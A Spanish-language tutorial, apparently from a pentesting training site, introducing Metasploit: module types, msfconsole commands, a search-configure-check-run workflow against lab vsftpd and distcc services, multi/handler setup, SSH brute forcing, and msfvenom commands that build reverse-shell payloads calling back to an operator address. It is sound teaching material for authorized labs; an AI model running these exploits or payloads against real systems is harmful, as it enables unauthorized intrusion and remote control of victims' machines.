Aprende › Vulnerabilidades web

Metasploit Framework desde cero: módulos, sesiones y flujo de trabajo

· 10 min de lectura

Aprende qué es Metasploit, cómo se organiza (exploits, payloads, auxiliares, encoders, post), cómo funciona msfconsole, el flujo clásico de buscar, configurar y lanzar un exploit, y cómo entender sus límites en una auditoría profesional.

Metasploit Framework (MSF) es la plataforma de explotación más conocida del mundo. Fue creada por H. D. Moore en 2003 y hoy la mantiene Rapid7. Agrupa miles de módulos reutilizables (exploits, payloads, auxiliares, post-explotación, encoders) con una interfaz común, de forma que un operador puede pasar de descubrir una vulnerabilidad a conseguir una shell con unos pocos comandos.

Para alguien que empieza en pentesting, Metasploit es una excelente puerta de entrada: enseña el flujo clásico (reconocer, elegir exploit, configurar, lanzar, post-explotar) y permite ver cómo funcionan por dentro los ataques sin tener que escribir código. Para un profesional, es una herramienta más del cinturón: muy útil para automatizar, pero con límites claros frente a objetivos modernos.

En esta lección vas a ver qué es Metasploit, cómo se organiza, cómo se usa msfconsole, el flujo típico de un ataque y las trampas más comunes en las que caen los principiantes.

Usa Metasploit solo contra sistemas propios o entornos autorizados, como los laboratorios de whoami-labs. Lanzar exploits en sistemas ajenos sin permiso es un delito.

Qué es Metasploit#

Metasploit es un framework modular: una base común con miles de módulos que comparten interfaz, opciones y mecanismos de ejecución. Se instala por defecto en Kali Linux y también se descarga gratis desde la web de Rapid7 para otras distribuciones. La versión gratuita (Community) incluye prácticamente todo lo necesario; la de pago (Pro) añade consola web, informes y automatización empresarial.

Arquitectura de Metasploit: msfconsole, módulos y sesiones
Arquitectura de Metasploit: msfconsole, módulos y sesiones

Los tipos de módulos#

TipoQué haceEjemplo
exploitAprovecha una vulnerabilidad para ejecutar códigoexploit/windows/smb/ms17_010_eternalblue
payloadEl código que se ejecuta tras el exploitwindows/x64/meterpreter/reverse_tcp
auxiliaryEscaneo, enumeración, DoS, fuerza brutaauxiliary/scanner/smb/smb_version
encoderTransforma payloads para evadir detección simplex86/shikata_ga_nai
nopRellena con instrucciones que no hacen nadageneric/none
postSe ejecuta tras conseguir sesiónpost/multi/gather/env
evasionPayloads pensados para esquivar antivirusVarios

Un exploit se combina con un payload: el exploit abre la puerta, el payload entra por ella. El payload más famoso es Meterpreter, que tiene su propia lección en este bloque.

msfconsole: la interfaz#

Metasploit tiene varias interfaces (msfconsole, msfvenom, msfrpcd). La principal es msfconsole, una shell interactiva:

msfconsole

Tras unos segundos ves el prompt msf6 >. Los comandos esenciales:

ComandoQué hace
search <palabra>Busca módulos relevantes
use <nombre>Selecciona un módulo
infoMuestra descripción, referencias y opciones
show optionsLista opciones del módulo actual
set <opción> <valor>Configura una opción
setg <opción> <valor>Como set, pero global (para varios módulos)
checkComprueba si el objetivo es vulnerable sin explotar
run o exploitLanza el módulo
sessionsLista sesiones abiertas
sessions -i <id>Interactuar con una sesión
backgroundDeja la sesión en segundo plano
helpAyuda contextual

Los nombres de módulos siguen la estructura tipo/plataforma/servicio/nombre. Autocompletar con Tab es tu amigo.

El flujo clásico de explotación#

Paso 1: reconocimiento#

Como en cualquier auditoría, empieza con Nmap. No busques «qué exploit tiene Metasploit para esta IP»: busca qué servicio corre, en qué versión, con qué configuración.

nmap -p- -sV -sC IP_DEL_LAB

Paso 2: buscar el módulo#

Supón que Nmap detectó vsftpd 2.3.4. En msfconsole:

msf6 > search vsftpd

Matching Modules
================
   #  Name                                   Rank      Description
   -  ----                                   ----      -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor   excellent VSFTPD v2.3.4 Backdoor Command Execution

El campo Rank indica fiabilidad del exploit (excellent, great, good, normal, average, low, manual). Prioriza los de rango alto.

Paso 3: cargar y revisar#

msf6 > use 0
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Verás las opciones típicas: RHOSTS (IP objetivo), a veces RPORT, y para payloads de tipo reverse, también LHOST y LPORT (tu IP y puerto para recibir la conexión).

Paso 4: configurar#

msf6 > set RHOSTS 192.168.100.10
msf6 > set LHOST 192.168.100.5

Paso 5: comprobar sin explotar#

Antes de lanzar, muchos módulos tienen check:

msf6 > check
[+] 192.168.100.10:21 - The target is vulnerable.

Paso 6: lanzar#

msf6 > run
[*] 192.168.100.10:21 - Banner: 220 (vsFTPd 2.3.4)
[+] 192.168.100.10:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened

Ya tienes sesión. Si es Meterpreter, dispondrás de comandos ricos; si es una shell básica, puedes estabilizar la TTY (lo tienes en su propia lección).

Payloads: inline, staged y reverse#

Hay dos ejes para entender los payloads:

Inline vs staged#

  • Inline (un solo paso): todo el código se envía en un solo golpe. Más grande pero más robusto. Nombres sin _.
  • Staged (dos pasos): primero un stager pequeño, luego descarga el resto. Funciona en menos espacio pero necesita red. Nombres con _ como windows/meterpreter_reverse_tcp.

Reverse vs bind#

  • Reverse: el objetivo conecta hacia ti. Requiere LHOST. Pasa por firewalls de salida permisivos.
  • Bind: el objetivo escucha un puerto. Requiere que ese puerto sea accesible desde fuera (raro en servidores con firewall).

En laboratorios y en situaciones reales, los payloads reverse son los más usados, por los mismos motivos que ya viste en la lección de reverse shells.

Para generar payloads independientes (no durante un exploit, sino como ejecutables, scripts o documentos) hay otra herramienta: msfvenom, que tiene su propia lección.

Handlers: recibir sesiones fuera del contexto del exploit#

A veces el payload no se entrega durante un exploit automático sino por otra vía (una webshell, una subida de archivos insegura, ingeniería social con un documento). Para recibirlo, Metasploit tiene un módulo genérico llamado exploit/multi/handler:

msf6 > use exploit/multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.100.5
msf6 > set LPORT 4444
msf6 > run -j

Con -j el handler queda en segundo plano como un trabajo. Puedes lanzar varios handlers simultáneos para distintos payloads y recibir muchas sesiones.

Ejemplo completo: distcc en un laboratorio#

En uno de los laboratorios iniciales de whoami-labs, un escaneo muestra distccd 1.x en el puerto 3632. Es un servicio de compilación distribuida con una vulnerabilidad clásica:

msf6 > search distcc
msf6 > use exploit/unix/misc/distcc_exec
msf6 > set RHOSTS 192.168.100.20
msf6 > set LHOST 192.168.100.5
msf6 > check
[+] 192.168.100.20:3632 - The target is vulnerable.
msf6 > run
[*] Started reverse TCP handler on 192.168.100.5:4444
[*] 192.168.100.20:3632 - Command Stager progress - 100.00% done
[*] Command shell session 1 opened (192.168.100.5:4444 -> 192.168.100.20:XXXX)

$ id
uid=1(daemon) gid=1(daemon)

La shell obtenida corre como el usuario daemon. Desde ahí, el laboratorio continúa con enumeración manual y una escalada por SUID: Metasploit abrió la puerta, lo demás lo haces con las técnicas de otras lecciones.

Generación de payloads con msfvenom#

Cuando el payload tiene que viajar fuera de un exploit (porque lo entregas con una subida de archivos insegura, un correo o una USB), se genera con msfvenom. Es una herramienta separada de msfconsole pero del mismo framework:

# Payload ejecutable para Linux
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.100.5 LPORT=4444 -f elf -o shell.elf

# Payload en formato PowerShell para Windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.100.5 LPORT=4444 -f psh -o shell.ps1

# Payload en una línea para pegar en un formulario
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.100.5 LPORT=4444 -f raw

Los formatos más usados son elf, exe, psh, raw, python, war, php. En el lab tomcat de whoami-labs, por ejemplo, el camino clásico es generar un .war con msfvenom y desplegarlo con las credenciales del Tomcat Manager.

Aunque los antivirus modernos detectan al vuelo los payloads crudos de msfvenom (Meterpreter clásico es firmable sin problema), para laboratorios y para entender los conceptos funcionan perfectamente. En engagements reales, se usan plantillas personalizadas y cargadores más silenciosos que msfvenom; tienes una lección dedicada únicamente a msfvenom más adelante en este mismo bloque de /aprende, con casos prácticos y extra para principiantes.

Módulos auxiliares: más que explotación#

Los módulos auxiliary/ abarcan todo lo que no es exploit:

# Escaneo SMB
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.100.0/24
run

# Fuerza bruta SSH
use auxiliary/scanner/ssh/ssh_login
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
set RHOSTS 192.168.100.10
run

# Descubrir servicios inseguros
use auxiliary/scanner/mysql/mysql_version

Para reconocimiento, Metasploit no reemplaza a Nmap o nxc, pero sus auxiliares son muy útiles para pruebas puntuales dentro del mismo flujo.

Los límites de Metasploit en una auditoría profesional#

Metasploit es excelente para aprender y para situaciones concretas, pero no cubre todo:

LimitaciónQué hacer en su lugar
EDR y antivirus modernos detectan Meterpreter clásicoPayloads personalizados, cargadores en C#, agentes como Sliver
Exploits viejos contra sistemas actualizadosMetasploit sirve para servidores olvidados; moderno cae con cadenas custom
Post-explotación limitada en Windows corporativoImpacket, Rubeus, PowerView, nxc son más ligeros
Tráfico ruidoso en redAgentes diseñados para OpSec (Mythic, Covenant)
Compatibilidad con Active Directory modernoBloodHound + Impacket + Kerberos puro

En los laboratorios tempranos de whoami-labs, Metasploit resuelve escenarios con un comando. En los avanzados, aparece como una pieza más dentro de una cadena que incluye enumeración manual y herramientas específicas.

Buenos hábitos al usar Metasploit#

Buenas prácticas con Metasploit: workspaces, loot, reportes y no automatizar lo que no entiendes
Buenas prácticas con Metasploit: workspaces, loot, reportes y no automatizar lo que no entiendes
  • Workspaces: separa cada auditoría en su workspace (workspace -a cliente_x).
  • Base de datos activa: con db_status comprueba que PostgreSQL funciona. Importa escaneos de Nmap con db_import.
  • loot: cada credencial, hash o archivo valioso capturado queda en ~/.msf4/loot/ para informar después.
  • Auto-exploit con precaución: db_autopwn no existe desde hace años, pero las tentaciones de lanzar módulos en masa hacen caer sistemas en producción.
  • Logging: spool /ruta/log.txt guarda toda la salida; imprescindible en auditorías profesionales.
  • No te saltes el info: cada módulo tiene referencias, CVE y a veces instrucciones sobre configuraciones concretas.

Errores comunes#

  • Lanzar exploits sin leer info. Puedes tumbar el servicio o ejecutar algo que no esperabas.
  • Pensar que si un exploit falla, no hay vulnerabilidad. A veces son las opciones mal configuradas, no la máquina.
  • Depender solo de Metasploit. Hay vulnerabilidades sin módulo oficial pero con PoC en GitHub.
  • Ignorar el ranking. Un módulo manual o low requiere ajustes que no siempre están documentados.
  • No limpiar tras la auditoría. loot acumula datos sensibles que hay que proteger o borrar.

Preguntas frecuentes#

La herramienta sí. Usarla contra sistemas sin autorización no lo es. En laboratorios y entornos propios, uso libre.

¿Qué diferencia hay entre Community y Pro?#

Community es gratuita y cubre casi todo. Pro añade GUI web, informes automáticos, integración empresarial y soporte. Para aprender y para pentesting manual, Community basta.

¿Por qué check dice «vulnerable» pero el exploit falla?#

Porque check verifica solo condiciones básicas. Pueden faltar opciones específicas, filtros intermedios, protecciones del sistema o versiones ligeramente distintas. Lee info.

¿Vale la pena aprender Metasploit si uso Burp y Impacket?#

Sí: su enfoque modular y su catálogo de exploits viejos resuelven escenarios con un comando. Como primer paso en pentesting es muy pedagógico. En auditorías reales, convive con herramientas más específicas.

¿Dónde practico?#

En los laboratorios para principiantes enlazados al final de esta lección, muchos resuelven con uno o dos módulos de Metasploit y ayudan a familiarizarse con el flujo.

Resumen#

  • Metasploit Framework agrupa miles de módulos (exploits, payloads, auxiliares, post, encoders) en una interfaz común.
  • msfconsole es la shell interactiva; el flujo clásico es search → use → set → check → run.
  • Los payloads se dividen en inline/staged y reverse/bind; reverse es el más habitual.
  • Los auxiliares cubren escaneo, enumeración y fuerza bruta.
  • En auditorías modernas, Metasploit convive con herramientas más específicas (Impacket, Rubeus, nxc, Sliver) según el objetivo.

Fuentes y lecturas recomendadas#

Practícalo en estos laboratorios

Ver todos los laboratorios de esta categoría